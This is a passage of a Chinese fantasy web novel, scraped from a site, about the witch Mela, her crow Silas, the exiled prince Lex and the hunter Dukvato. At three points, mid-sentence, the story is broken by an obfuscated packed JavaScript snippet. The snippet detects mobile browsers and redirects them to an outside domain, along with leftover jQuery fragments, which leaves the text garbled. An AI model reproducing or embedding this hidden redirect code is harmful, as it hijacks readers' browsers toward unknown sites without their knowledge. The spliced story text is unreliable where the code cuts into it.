莱克斯也不是对谁都这样的,只有那些被他划定为自己人,付出了信任的,才能得到他毫无保留的宽容。 所以要怪就该怪那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629318|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名侍女不知足,竟然辜负了莱克斯的信任。 “不,是我错了,我竟然误以为所有人都能像你一样忠心。”莱克斯扯了扯嘴角,扯出一个讥讽的弧度。 像切尔各这样哪怕被继王后的人重重刁难,也要对他忠心耿耿的才是少数。 “等我身体好了之后,再为我加一个迷药特训吧,我可不想下一次还被这种小伎俩给算计到。” 见切尔各似乎还想再说点别的宽慰自己,莱克斯先一步岔开了话题,他不是小孩子了,还得靠人哄着才能振作起来。 “对了,斐南基知道这件事了吗?” 不等切尔各回答,莱克斯又自顾自地道:“算了,这么大的事,他怎么可能不知道。” 只不过作为王储的老师,又身为王国的宰相,斐南基并不像切尔各一样能仗着骑士长的身份在宫廷内四处游走,名正言顺地来看望莱克斯。 “你去告诉斐南基,不必为我担心,我很快就能好起来。这里也不用你守着了,去休息吧。”莱克斯摆手。 寸步不离地守了莱克斯一天一夜,饶是切尔各此刻还能站着,神智清明地回话,但他眼里的红血丝却藏不起来。 他比莱克斯更需要休息。 “为您效劳。”切尔各没有拒绝莱克斯的体贴,他躬身,恭恭敬敬地朝莱克斯行了一个礼,随后离开了房间。 * 巴奇终于拿到了梅拉制作好的药剂。 一个巴掌大的小玻璃瓶,深蓝色的液体静静地躺在其中,被巴奇珍而重之地用手心裹住。 “我只要把它全部倒入食物里,让我姐姐吃下去就可以了是吗?” “没错,”梅拉点头“只要吃下洒了药水的食物,再浓烈的感情也会像一幅陈旧的画作,随着时间的流逝逐渐褪色,等到七天之后,药水完全生效,你的姐姐就再也不会为格鲁特的欺骗而感到痛苦了。” 毕竟玛比拉之所以会如此痛苦,归根究底是因为她深爱着格鲁特。 因为爱,所以忍不住反复咀嚼过往,试图从曾经相处的点滴中寻找格鲁特说谎的蛛丝马迹,这不仅无法帮助玛比拉认清事实,成功清醒过来,还会让她在悔恨和懊恼中越陷越深。 为什么她竟然会被那样简单的谎言所欺骗? 为什么她从没看穿格鲁特的真面目? 痛苦仿佛泥沼,将玛比拉拽入其中,越是挣扎,越是沉沦。 想让玛比拉重新振作起来的办法也很简单。 在梅拉看来,干脆把玛比拉已经形成枷锁的感情抽离,理智自然会回归,求生的本能也会敦促着她恢复食欲,从床上站起来。 “不过么……”梅拉朝巴奇摊手,“会受到影响的感情可不只是爱情,亲情、友情,或者别的感情,当然也包括在内。” “意思就是姐姐对我的感情也会变淡吗?”巴奇刚露出的笑脸收了起来,他攥紧手中的小玻璃瓶,一时间有些犹豫,真的要把它喂给姐姐吗? 以他们多年相依为命的感情为代价,换玛比拉不再爱着一个令她痛苦的男人。 “别担心呀,你们毕竟是姐弟,只要一直这样朝夕相处下去,感情总会重新培养起来的。”梅拉对巴奇的犹豫不以为意,这个世上从不存在不用付出代价就能获得好处的事。 女巫拿出的每一瓶药剂,都拥有令人惊讶的神奇药效,理所当然的,它们也会存在一点小小的副作用。 和在痛苦中滑入死神的怀抱相比,只是让玛比拉变得感情有些淡漠,这点副作用显得多么微不足道啊。 作为商人之子,巴奇显然比其他人更懂得衡量,天平上,想让姐姐活下去的欲望占了上风,他咬了咬牙,不再犹豫,在梅拉给出的欠条上签下了自己的名字。 这张欠条同时也是一张地图,能够指引巴奇来到梅拉惯常与客人们联系的树下,放下他答应好的报酬。 既然交易完成了一半,该把客人送出黑暗森林了。 梅拉刚想开口喊莱克斯,却看到了瘫在窗台上懒洋洋地翻了个身的塞拉斯,她眯了眯眼,改变了主意,“总是只把活交给莱克斯来干,未免对塞拉斯你太不公平了,这回就把这个替我干活的好机会交给你吧。” “什么?我不!”塞拉斯一口回绝。 “不什么?”梅拉单手拎起塞拉斯,凑近它,语气危险地反问,“你不愿意?” “怎、怎么可能呢,”塞拉斯讪笑两声,总算意识到梅拉这回可不打算纵容它的懒惰,立马改了口风,“为伟大的女巫梅拉效劳是我的荣幸。我说的是我不会把这个好机会让给莱克斯的。” “那你去吧。”梅拉松开手,把塞拉斯往半空中一丢。 塞拉斯本能地扑腾翅膀,没想到最近身上长的肥肉让它一时间有些不适应,身子一歪,差点斜着撞到树上。 听到梅拉在身后发出的无情嘲笑,塞拉斯默默含泪,一边老老实实地给巴奇带路,一边惊觉自己是真的要开始减肥了。 救命,它可不想当世上第一只胖到飞不起来的乌鸦。 12. 第 12 章 距离梅拉将信寄出去,已经过去了半个多月,然而本应该带着她与塞拉斯心心念念的南瓜饼登门的男人,却迟迟没有出现。 怎么回事? 以往接到信后,最迟三天内,杜克瓦托就会带着梅拉需要的东西前来,这回却一反常态,磨蹭了半个多月。 眼看着昼夜都交替了十八个轮回,该吃上的南瓜饼仍然不见踪影,塞拉斯天天盼星星盼月亮一样盼着杜克瓦托到来,顺便找着机会就要凑到梅拉耳边念叨。 “梅拉梅拉,你快用你的水晶球占卜一下,杜克瓦托是不是出什么事了?他到底什么时候能来?” “你别急呀。”梅拉说着,下一秒,水晶球就像变魔术一样突然出现在了她的怀里。 塞拉斯:“……”到底是谁急? “水晶球告诉我,我很快将会得偿所愿。”梅拉盯着水晶球里不断变化的烟雾,解读道。 也就是说,杜克瓦托很有可能已经在来黑暗森林的路上了。 “很快有多快?”塞拉斯不太满意这个答案,迫切地想要知道更详细的日期。 “那你就自己问水晶球去吧。”梅拉笑眯眯地把她用双手才能捧住的水晶球放到塞拉斯的脑袋上。 感受到头顶的重量,塞拉斯顿时连动都不敢动了,整只鸟定定地立在桌子上,仿佛一个栩栩如生的乌鸦摆件。 没办法,要是塞拉斯一个不小心把水晶球给摔了的话,到时候哪怕梅拉不会生吃了它,也一定会用更可怕的办法惩罚它的。 呜呜呜,塞拉斯好惨。 塞拉斯暗自在内心流泪。 同时后悔自己刚才为什么要多嘴问那一句。 它也不想想,如果水晶球告诉了梅拉具体的日期,梅拉又怎么可能不直接说出来呢。 但水晶球的占卜确实很准,第二天,小木屋的门口出现了一道熟悉的身影。 男人还是老样子,一身轻便的猎装,蹬着短靴,背上还背着自制的长弓与满满当当的箭筒。他的面容算不上英俊,却也棱角分明,留着短短的胡茬,看过来的一双灰眸亮得惊人。 “嘿,看我给你们带什么来了?”杜克瓦托举起手里拎着的布袋子,有包不住的香气自里头逸散到空气中。 是南瓜饼的香味。 也只有集市上放了足量白砂糖的南瓜饼,才能飘出如此香甜的气味。 “太好了!杜克瓦托你终于来了!”塞拉斯率先发出惊喜的叫声,它迫不及待地飞到杜克瓦托肌肉结实的小臂上,站稳后,不住地拿自己的喙去啄打了结的布袋子。 “诶诶,小心点。”眼见打好的结被塞拉斯啄开,杜克瓦托及时地用手把松开的布角抓住,这才避免了包好的南瓜饼全滚到了地上去。 塞拉斯叼着一块南瓜饼飞走了,它知道有杜克瓦托在,是不可能让南瓜饼就这么掉到地上去的。 梅拉从不吃掉到地上的食物。 “这回你怎么来得这么慢?”梅拉也从布袋子里捡了块南瓜饼放到嘴里吃着,或许是因为酝酿了漫长的期待,总感觉这次的南瓜饼比记忆里的还要美味。 幸好莱克斯一大早就出门去了,梅拉偷偷决定把应该留给他的份多解决两块。 “这不是难得碰到了老朋友么。”说到这事,杜克瓦托的语气中透着些许无奈,“要不是看他浑身是血的可怜样,我才懒得管他。” 管都管了,杜克瓦托干脆留在家里,一直把人照顾到能够行动自如为止。 “说起来多亏了你送来的那十瓶治愈药剂,否则我看我那个老朋友离见死神也不远了。”杜克瓦托道。 梅拉忍不住轻轻咂舌,巴奇那样奄奄一息的情况也不过只用了一瓶治愈药剂就救了过来,杜克瓦托这个老朋友却用了足足十瓶治愈药剂才恢复,伤得可真够重的,换句话说,伤成这样都能活过来,他的命可真够硬的。 不过这人毕竟与梅拉无关,梅拉的好奇心点到即止,并不多问这人是为什么受的伤,相比之下,她更在意杜克瓦托有没有把欠她的钱带过来。 上一回,杜克瓦托说手头没钱了,和梅拉签了一张欠条,说十天后一定会还。 看在这么多年杜克瓦托一直帮她在各个城镇跑腿的份上,梅拉爽快地答应了。 结果十天又十天,杜克瓦托不仅没有按时来还钱,还又欠下了十瓶治愈药剂,因此在寄给杜克瓦托的那封信上,梅拉特地用红墨水在信纸的最后一行注明,要求杜克瓦托在带南瓜饼来的同时,不要忘了把欠她的四金币二十银币带上。 想到这,梅拉瞟了一眼杜克瓦托的腰间,皮革腰带将钱袋、匕首等物勒得严严实实,重点是钱袋沉甸甸地往下坠着,看上去还挺有分量的样子。 注意到梅拉的视线,杜克瓦托当着梅拉的面用手把自己的钱袋遮了遮,笑容有些无赖,“你看这次买南瓜饼的钱,还有上次我按照你给的清单,买的墨水、羊皮纸等等,都还没来得及和你算账呢。看在我们这些年的交情上,不如你给我抹个零怎么样?” “这样,我出四枚金币,这些账直接一笔勾销,如何?”杜克瓦托朝梅拉比了个数。 换来梅拉一声冷笑,“我差点还以为现在一枚铜币就能换一枚银币了呢?” 否则二十枚银币,杜克瓦托竟然敢说抹掉就抹掉,简直是狮子大开口。 要知道按照如今的物价,一枚金币能换六十枚银币,一枚银币则能换到二百四十枚铜币,二十枚银币放到市场上,完全可以买一头年轻又强壮的耕牛回家了。 梅拉疯了才会同杜克瓦托做这笔亏本买卖。 “该是多少就是多少,你一枚铜币都别想少我的。”梅拉相当干脆地拍板决定,不给杜克瓦托继续讨价还价的机会。 “好吧,好吧。”杜克瓦托叹息一声,就知道想占梅拉的便宜比登天还难。 他解下腰间的钱袋,往手里一倒,倒出了不少银光锃亮的银币。 杜克瓦托一枚一枚数过去。 等把要给梅拉的银币数够,统统放到桌子上,直接在堆起了一座巴掌大的小山,而杜克瓦托原本鼓鼓囊囊的钱袋肉眼可见地瘪了下去。 “唉,也不知道我要打多少猎物,才能重新把你的肚子填满呢?”杜克瓦托装模作样地抖了抖他的钱袋,只能听到零星的撞击声从中传来。 猎人可不是好当的。 哪怕是像杜克瓦托这样远近闻名的优秀猎人,每一次上山或是进入森林,同样要冒着受伤的风险。 尤其受了伤后如果没能及时得到治疗,很大可能因为失血过多而晕过去,然后再也醒不过来。 哪怕好不容易捉住了猎物,普通的野兔、狍子在商人的眼里可卖不上价,得是一些稀罕的,比如皮毛漂亮的红狐狸、年轻健壮的公鹿,才能让那些吝啬的商人松开钱袋,笑呵呵地捧出钱来。 “什么时候你连赚这点钱都要发愁了?” 梅拉挑眉,别以为她自打进入黑暗森林后没出去过,就不知道杜克瓦托的光荣事迹了。他可是十六岁的时候就能独自上山,扛下一张完整的熊皮,成功在附近几个城镇名声大噪的厉害角色。 熊皮啊,这可是受牛哄哄的贵族老爷们喜欢的好东西,慕名而来的商人们差点把杜克瓦托的家门都快踏烂了。 说来也怪,分明杜克瓦托这些年猎过不少稀罕的猎物,还都高价卖了出去,最后却愣是一点钱都没攒下来,时不时还要跟梅拉哭穷。 一开始,梅拉只以为这是杜克瓦托想在她这占便宜的手段,但后来梅拉发现,杜克瓦托竟然是真的穷! 只不过靠着一身厉害的打猎技艺,杜克瓦托倒也不至于沦落到多么窘迫的境况,虽然时不时要跟梅拉打欠条,但每回也都能按时把欠的钱还上。 不然就算看在两人多年的交情上,梅拉也是不乐意当这个有借无还的冤大头的。 “对了,我还想在你这买两瓶治愈药剂。”杜克瓦托掏出自己所剩无几的钱,这回他的钱袋里是彻底连响声都发不出来了。 没想到梅拉却把钱给他推了回去,“没了,上回炼制好的治愈药剂一瓶也没有了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633925|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那……” 知道杜克瓦托想问什么,梅拉打断了他,“最快五天,五天后,我才能准备好材料,炼制出一批新的治愈药剂。” 既然梅拉都这么说了,杜克瓦托叹了口气,“看来我只好再等等了。” “出门前,我还把我的全部家伙都带上了,以为今天能把那头大黑熊给解决了呢。”杜克瓦托半是玩笑半是认真地道。 “大黑熊?”梅拉第一时间想到了住在小木屋附近的山洞里,那头正值壮年,人立起来有两米多高的大黑熊。 早在梅拉住进黑暗森林之前,那头大黑熊就一直住在这里了,甚至梅拉的小木屋,就正处于它的领地范围之内。 只不过梅拉让被施了变大咒语的塞拉斯往外转了一圈,巨大的体型差令那头大黑熊本能的望而生畏,并不敢轻易靠近小木屋,对梅拉侵占它领地的举动睁一只眼闭一只眼,日子便这样相安无事地过了下去。 现在杜克瓦托居然说他打上了那头大黑熊的主意。 算了,能猎到黑熊也是杜克瓦托的本事,梅拉不支持也不反对。 “我回来了。”门外突然响起莱克斯的声音。 只见莱克斯一手提着一只肥硕的灰色野兔,因为杜克瓦托挡在了门口,他不得不用这种方式提醒这个突然出现在小木屋的陌生男人,让一让。 杜克瓦托诧异地转身,打量这个突然出现的男孩。 怎么一段时间没来,梅拉这竟然就多出了个一个人? 在杜克瓦托打量莱克斯的同时,莱克斯同样光明正大地打量了回去。 好高。这是莱克斯的第一反应。 面前这个男人起码有接近两米的身高,放眼整个王国,都未必能找出几个和他一样高的。 再加上长年的锻炼,裹在猎装下的体格肉眼可见地强壮。 不知道如果有机会让他与切尔各切磋的话,谁将更胜一筹。莱克斯暗暗将两人进行比较。 据莱克斯所知,切尔各之所以能以平民之身被破格擢升为骑士长,正是因为他轻轻松松便能以一挑十,有着令人钦佩的武勇。 然而男人带给莱克斯的压迫感竟然丝毫不输于切尔各,看着莱克斯的眼神也带着意味不明的审视。 “好肥的两只兔子。”梅拉从杜克瓦托身后探头,打破了这场无声的对峙。 莱克斯顿时移开目光,仿佛不经意般提及,“两只兔子而已,捉回来不管是用树枝串起来直接放在火上烤,烤出一层淋漓的油光后再加调料,还是剁成肉块后裹上一层蜂蜜慢慢煎,最后再撒上黑胡椒调味,味道应该都很不错。” 光是听莱克斯这么说,梅拉已经觉得馋了。 可莱克斯犹觉得不够似的,继续道,“可惜两只兔子的分量还是太少了,不然肯定能做出更多的花样,等我明天再去多打几只兔子回来。” “好啊,那就全靠你了。”梅拉果然美滋滋地道。 见状,莱克斯心底松了口气。 今早,他和梅拉提出不想 就这么荒废了自己的武艺,希望每天都能外出一小段时间时,梅拉想也不想便欣然同意了。 反正她需要莱克斯干的活其实并不多,空闲的时候他爱干什么就干什么。 但莱克斯为了保险起见,还是捉了两只兔子带回来。 他想,梅拉今天可以同意他出门,后天也可以不同意他出门,但他如果用美食打动了梅拉,那就不一样了,梅拉到时候大概巴不得他天天出门。 果然,梅拉如莱克斯希望的那样上钩了。 “嘁,两只兔子而已,哪怕换个刚懂得走路的小鬼,只要会设陷阱,都能随随便便抓几只兔子回来。”杜克瓦托突然开口道。 莱克斯心中对杜克瓦托的身份隐隐有些猜测,但不知道他为什么忽然像是挑衅似的道。 更挑衅的话语还在后头,杜克瓦托傲慢地以居高临下的姿态盯着莱克斯,露出一个不怀好意的笑容来,“抓这种软绵绵的小东西有什么意思?喂,你有没有胆子和我一起去狩猎黑熊?” 13. 第 13 章 听到杜克瓦托的话,莱克斯的第一反应便是看向梅拉。 这么久了,他虽然不会真的把自己当仆人看待,但也培养出了一点仆人的自觉,比如一件事若是没有得到梅拉的同意,他就是再心动,也会选择忍耐下来。 收到莱克斯的目光,梅拉毫不意外地挑了挑眉,就知道他会心动。 于是梅拉笑吟吟地道,“去吧,杜克瓦托十六岁就能独自猎下一张完整的熊皮,你跟着他一定能学到不少东西。” 莱克斯的眼中不禁划过一抹欣喜。 不管杜克瓦托究竟怀抱着怎样的目的,他对自己的态度又为何如此古怪,敏锐如莱克斯,可以肯定杜克瓦托刚才说那番话时确实怀揣着一种说不清道不明的恶意,但如果梅拉所言非虚的话,这样一个精进武艺的好机会,莱克斯可不会因为明知有危险而白白放弃。 他以后将要踏上的道路,肉眼可见的会是一条荆棘遍布之路,眼下若是不抓住每一个能让自己强大起来的机会,未来离开黑暗森林后,他又拿什么夺回属于自己的王位? 和莱克斯脑内思绪纷杂不同,梅拉单纯奇怪杜克瓦托明明是第一次见到莱克斯,为何却像是看不顺眼他一样。 “你怎么回事?莱克斯哪里招惹到你了?”梅拉心里是这么想的,干脆也是这么问的。 “哎呀,这不是看到某个小鬼拎着两只兔子就骄傲得不行,想让他见识见识什么叫真正的打猎么。在我们这些猎人的眼里,兔子可算不上什么好猎物。” 杜克瓦托耸了耸肩,态度十分坦荡。 正因为他的坦荡,梅拉反而不疑有他,只是再一次提醒了一遍时间,“记得五天后按时过来拿你定好的东西。” “记住了。”杜克瓦托挥挥手,不再留下来碍事,转身抬脚就走。 莱克斯适当地让开了一条道,供杜克瓦托离开。 他却没有再看莱克斯一眼,就这么目不斜视地走过去,很快,杜克瓦托的身影消失在了树林之间。 五天的时间说短不短,说长却也并不长,不过是一眨眼的功夫,杜克瓦托便重新出现在了小木屋附近。 莱克斯早已整装待发,安静地站在小木屋前面的空地上,等待着杜克瓦托的到来。 “怎么只有你一个人?”杜克瓦托瞧见莱克斯身后紧闭的木门,往常只要有梅拉或是塞拉斯在,这扇木门永远朝外敞开,欢迎任何人前来到访。 “梅拉带着塞拉斯去找克丽芙的果实了。”莱克斯语气淡淡地答道。 传说中,克丽芙是海洋之神的女儿,海洋是她的家,也是困住她的囚笼,一旦离开海水,克丽芙便会化为一场泡沫消散于空气之中。 即使如此,克丽芙依然无比向往陆地,不惜化作一场雨水,将自己的身躯洒往大地上的各个角落。 而代表她眼睛的那部分,则掉落在悬崖之上,催生出一种长相特殊,堪称丑陋的植物。 它苍老的表皮上长着许多疙瘩似的瘤子,太阳的光辉将这些瘤子晒得皮开肉绽,露出粉色的内里,在一场雨水过后,会有纯黑色的仿佛眼珠子似的果实自此长出。 由此人们称呼它为“克丽芙的果实”。 前天恰好下了一场大雨,还下了足足一天一夜,好不容易等雨停了,梅拉立刻兴冲冲地带着塞拉斯出门去了。 毕竟悬崖这种地方,还是能变大,又能载着梅拉到处飞的塞拉斯更有用。 好不容易重新得到为梅拉效劳的机会,塞拉斯出门前,胸脯挺得高高的,趾高气昂地瞪着一双黑豆眼,得意地瞥过面色平静的莱克斯,故意拿腔拿调地道:“唉,果然我这双翅膀没有任何人可以取代。” 像莱克斯,无非也就能给屋子里扫扫灰、收拾收拾餐具,这些不过是塞拉斯不乐意干的活,哪怕现在梅拉张口莱克斯闭口莱克斯,塞拉斯仍然坚信,在梅拉的心里,它塞拉斯的分量更胜一筹。 瞧,让塞拉斯大展身手的时刻这不就到了么。 莱克斯居高临下地看了塞拉斯一眼,他才不屑于和一只乌鸦争宠。 “你那是什么眼神?”塞拉斯被莱克斯看得毛都炸了。 “没什么。”莱克斯慢条斯理地移开眼。 塞拉斯不依不饶的还想再说点什么,却让梅拉的催促给打断了,“行了塞拉斯,你和莱克斯在那里嘀嘀咕咕什么呢?还不快点过来。” “哼,看在梅拉的面子上,我就不和你计较了。”塞拉斯丢下自以为气势汹汹的一句,拍着翅膀飞到梅拉的面前。 接下来只见梅拉嘴唇微张,对着塞拉斯喃喃了几句,随后塞拉斯便在她的眼皮子底下逐渐变大,变得越来越大,直到如同一座小山那样高大,才终于停止了生长。 头一回面对这样巨大的塞拉斯,莱克斯不可避免地感到一阵心悸,这是来自本能的恐惧。 下一秒,塞拉斯发出了毫不留情的嘲笑:“天哪,莱克斯你好小啊,看起来还没我的爪子大。” 说着,塞拉斯往前伸了伸它的爪子,冲莱克斯得意洋洋地比划。 莱克斯的心情顿时成功地恢复了平静,果然就算变大了,塞拉斯还是塞拉斯,它的脑袋里压根没法塞下更多的智慧。 只不过是外表唬人而已。 几次呼吸的功夫,梅拉熟稔地爬上塞拉斯的背,稳稳当当地坐在了上头。 “好了,塞拉斯,我们走吧。”梅拉揪了揪塞拉斯的羽毛,这点力度对它而言连挠痒痒都算不上。 塞拉斯会意,瞬间腾空而起,上下拍打的翅膀掀起了一阵猛烈的巨风,把梅拉那头火焰一般热烈的红发吹得四散纷飞。 随着塞拉斯远去,留在地上的莱克斯只能望见它的背影逐渐缩小,最后化为一个针眼大的小黑点,消失在了他的视线之中。 梅拉与塞拉斯离开后没多久,莱克斯等来了按照约定到来的杜克瓦托,他打开腰间的小包,掏出了梅拉提前交给他的两瓶治愈药剂,递了出去。 杜克瓦托随意地把两瓶药剂塞入腰间,用皮革腰带的扣子固定住,听到梅拉去找炼制魔药的材料了,他什么也没说,只深深地看了莱克斯一眼,道,“那我们也走吧。” 莱克斯嗯了一声,用不远不近的距离紧紧地跟在了杜克瓦托的身后。 随着他们离开,四周彻底地安静了下来。 * 梅拉与塞拉斯先莱克斯一步回到了小木屋之中。 梅拉随手把装得满满当当的篮子往地上一放,没想到她这次的运气竟然这么好,摘到了不少克丽芙的果实,原本没有把握一举炼制成功的新药剂,现在看来似乎也不是没有希望。 “也不知道莱克斯怎么样了?打猎黑熊这么危险的事,他不会受伤吧?”变回正常体型的塞拉斯蹦跳到桌子上。 “嗯?你竟然担心莱克斯会受伤吗?”梅拉有些讶异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640045|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没想到塞拉斯对莱克斯的担心居然压过了它以往对杜克瓦托的信任。 “哼,我只是担心他如果受伤了,就找到借口逃避干活罢了。”塞拉斯傲娇地一扭头。 不过塞拉斯也不是那么担心莱克斯的安危,毕竟它偷偷看到了,梅拉往莱克斯的小包里塞了三瓶治愈药剂,多出来的那一瓶是专门给谁的简直不言而喻。 “我回来了。”莱克斯略显狼狈的模样忽然出现在了小木屋的门口。 只见他的衣服上不仅多了好几道被划烂的口子,金灿灿的发丝间还夹杂着不少草屑,仿佛在地上滚过好几圈似的。 当然,最吸引注意的还是莱克斯脸上那道新鲜的爪痕,它从靠近鼻翼处的位置,一路来到了莱克斯的耳后,其中隐隐有粉色的皮肉外翻出来,简直看得人触目惊心。 只要力道再深一点,说不定都能看见皮肉底下的骨头了。 “怎么回事?杜克瓦托还真的欺负你了?”梅拉微微睁大眼,以她对杜克瓦托的了解来看,他顶多嘴上口花花,不可能真的欺负莱克斯一个十二岁的孩子才对。 又不是仇人。 等等,梅拉抬着下巴陷入回忆,平时杜克瓦托好像经常用嘲弄的口吻嘲笑那些无所事事养尊处优的贵族们来着。 曾经梅拉根本没把这当一回事,毕竟哪个平民不讨厌这些没事就爱涨税收,动不动还要在领地内兴师动众的老爷夫人们呢? 然而归根究底,贵族们是王室册封的,他们奢靡的生活也是国王默许的,不如说,国王的生活可比贵族们还要铺张浪费。就拿努伦格尔九世来举例,他每年举行舞会倒掉的葡萄酒比地里长出来的粮食还要多。 再看看莱克斯那显眼的金发金眸,来自王室的血统毋庸置疑,杜克瓦托若是恨屋及乌…… “杜克瓦托没有欺负我。如果不是他及时把我从熊掌下救出来,我或许就不只是留下这道伤痕而已了。”莱克斯的话打断了梅拉的遐思。 寥寥几句,已然足够推测出当时的情况有多么危急。 但莱克斯却不欲与梅拉多谈此事,又不是小孩子了,受伤了还要哭着和大人撒娇。 他从腰间的小包里掏出杜克瓦托让他转交给梅拉的十六枚银币,接着没事人一样去准备晚餐了。 反倒是梅拉盯着莱克斯的背影,露出若有所思的神色。 夜里,莱克斯裹着毯子,忍不住回想起下午那一幕。 此时这头前不久还凶猛异常,让莱克斯形容狼狈的大黑熊已经重重地倒在了地上,它不甘地瞪着一双眼睛,渐渐失去了呼吸。 而杜克瓦托随意捡起地上的草叶,把匕首上的血污抹去,重新恢复成银光闪闪的模样,准备开始给大黑熊剥皮。 莱克斯脸上不断传来剧烈的疼痛,更有豆大的汗珠偶尔从额间滑落,洇入伤口,让莱克斯不得不咬紧了牙关,才能压抑住差点脱口而出的痛呼。 刚才情况紧急,顾不上收拾伤口,现在莱克斯总算能掏出止血药粉,一股脑地倒在了脸上。 至于梅拉给他额外准备的那瓶治愈药剂,莱克斯没动,这点小伤看着恐怖,却也不是不能自愈,无非是多花点时间罢了。 忽然,背对着莱克斯的杜克瓦托道,“你想逃离黑暗森林吗?我可以帮你。” 仿佛平地炸起一声惊雷。 莱克斯的手一抖,差点把最后一点药粉倒进眼睛里去。 14. 第 14 章 梅拉睁开了眼。 月色自窗外流淌进来,为颜色暗沉的木质地板铺上了一层浅浅的银辉。 借着这点微不足道的光亮,梅拉可以清楚地看见角落里,深红色的毯子掀开了一个角,本应该睡在其中的人却不见了踪影。 小木屋外,莱克斯坐在一块扁平的大石头上,曲着一条腿,双手撑在身后,静静地仰望漫天的繁星。 “大晚上的不睡觉在这看什么呢?” 梅拉的声音自莱克斯的身后传来。 其实莱克斯早就听到了一阵脚步声,大概梅拉压根就没想过要掩饰。 她毫不客气地推了推莱克斯,让他往旁边让让,一撩裙摆,自己也坐到了石头上。 莱克斯默默地把大部分位置让了出来,然而梅拉浅褐色的裙摆还是有一点边缘搭到了他的腿上。 以莱克斯的眼界来看,这条裙子自然非常一般,布料过于厚重,质地过于粗糙,再加上缝合处显眼的线头,简直像是直接披了个麻袋在身上。 又因为浆洗过太多遍,裙子的颜色已经开始泛白,即使是王宫里最下等的女仆,也不会穿得这样不体面。 但因为穿着这条裙子的人是梅拉,又好像不值得为此而大惊小怪。 她和莱克斯认知中的贵族淑女截然不同。 爱睡懒觉、讨厌干活、只喜欢听别人夸自己的好话等等,相比之下,不修边幅只是梅拉身上最不值一提的一点。 “你还没回答我的问题,在这看什么呢?”梅拉弯起手肘,顶了顶身旁莱克斯的肩膀。 “……在看星星。”莱克斯答道。 “看出什么来了吗?”梅拉锲而不舍地追问。 看星星能看出什么花来? 莱克斯沉默了一会儿,伸出食指指到,“这是附近所有星星之中最亮的一颗。” “啊,是这颗星星。”梅拉好像认识它似的,发出一声喟叹。 见莱克斯眼神微妙,梅拉笑吟吟地捧着脸颊,同样抬头仰望这片深邃的夜空,“占星术可是一门古老的、只有女巫才能学习的传统预言术。” 在女巫们的心中,每一颗星星都代表着一个人的命运,基本一颗星星会随着它所代表之人的成长变得越来越明亮,又随着这个人的衰亡逐渐黯淡。 但也并非所有人都是如此。 “譬如代表你的那颗星星,生来就比别的星星更亮。”梅拉道。 “为何?”莱克斯的眼神一动。 涉及女巫才懂得的神秘知识,莱克斯和任何一个普通人一样充满了探究的欲/望。 “因为你和其他人不一样,你是王子,你的一举一动生来就能影响到很多人。”梅拉理所当然地道。 就好像一颗小石子投入湖泊之中,只能产生轻微的涟漪,但若是投下一颗巨石,定然会引起整个湖泊的震荡。 莱克斯垂下眼,他当然从小就知道自己的责任重大,亦一直以最严格的要求约束自己。 说句僭越的话,莱克斯冷眼看着他的父王每日醉生梦死,沉溺享乐,虽然有斐南基这样值得信任的臣子替他操持政事,可一个国王如果连自己的权柄都要分一部分给臣子,那他屁股底下的王位,又为何不能让别人来坐呢? 梅拉像是没有察觉到莱克斯情绪上的异样,还在自顾自地用最浅显的话语为他解释占星术:“别看星星们是分散的,但那些特别明亮的星星会用自身的能量牵引其它的星星逐渐靠近,就像你的骑士长一样拱卫在你的四周。” “能量越大,吸引到的星星就越多,所以按理来说围绕在努伦格尔九世周围的星星是最多的,毕竟他只要随便下达一个命令,就能影响到成百上千的人。” 这种巨大的能量,甚至足以令许多人既定的命运发生转折。 譬如可以让一名大商人顷刻间倾家荡产,也可以让一名受人白眼的乞儿一跃成为炙手可热的人物。再或者,令原本受人尊敬的女巫们被人群厌恶、驱赶,不得不躲入僻野之地。 这便是赫赫王权。 “不过,你要不要猜猜,现在围在努伦格尔九世身边的星星还剩几颗呢?”梅拉侧过脸,朝莱克斯狡黠一笑。 “……”莱克斯抿住唇角,虽然作为王储,他不认可努伦格尔九世的种种行径,作为儿子,他亦觉得努伦格尔九世这个父亲做得有些失败,但他怎么可能真的希望努伦格尔九世沦落到岌岌可危的境地——一旦失去了那些拱卫在他四周的人,他这个王位,真的还能坐得安稳吗? 梅拉见状,仍在孜孜不倦地加码:“你真的舍得错过这么好的机会吗?下次我可未必还有这样的好心了喔?更何况除了努伦格尔九世,难道你就不关心其他人吗?” 譬如谋划了这一切,害得莱克斯不得不沦落宫外的继王后,她究竟勾结了哪些人,帮助她亲生的小儿子成为新的王储;又譬如非宰相一派的大臣,他们又在这种局面下进行了怎样的抉择……这些都能通过星星知道答案。 只要莱克斯点头,梅拉倒也不介意为他拨开些许笼罩在未来的迷雾。 